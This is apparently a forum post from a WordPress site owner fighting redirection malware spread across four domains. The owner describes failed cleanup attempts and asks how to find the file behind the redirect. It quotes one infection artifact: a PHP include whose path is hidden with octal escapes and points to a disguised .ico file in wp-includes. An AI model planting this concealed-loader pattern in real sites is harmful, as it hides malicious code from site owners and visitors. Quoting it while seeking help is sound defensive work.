Redirection malware is killing me. It’s spread to 4 domains in the same account, and seemingly impossible to remove

[ad_1]

I can’t access wp-admin on half the sites. I’ve scanned with GOTMLS, I’ve added wordfence as a firewall, I’ve scanned the FTP files for anything weird looking (there are A LOT) and followed numerous guides online. I’ve deleted all unused themes and plugins. I just can’t get it to disappear!

If there a way to see in a console exactly which file is being read and causing the redirect?

for example, in one empty folder, I have an index.php with the following:

<?php
/*f57c4*/
@include “pu\142lic\137htm\154/wp\055inc\154ude\163/re\163t-a\160i/e\156dpo\151nts\057.7c\061d18\1413.i\143o”;
/*f57c4*/

clearly trying to access a .ico file

[ad_2]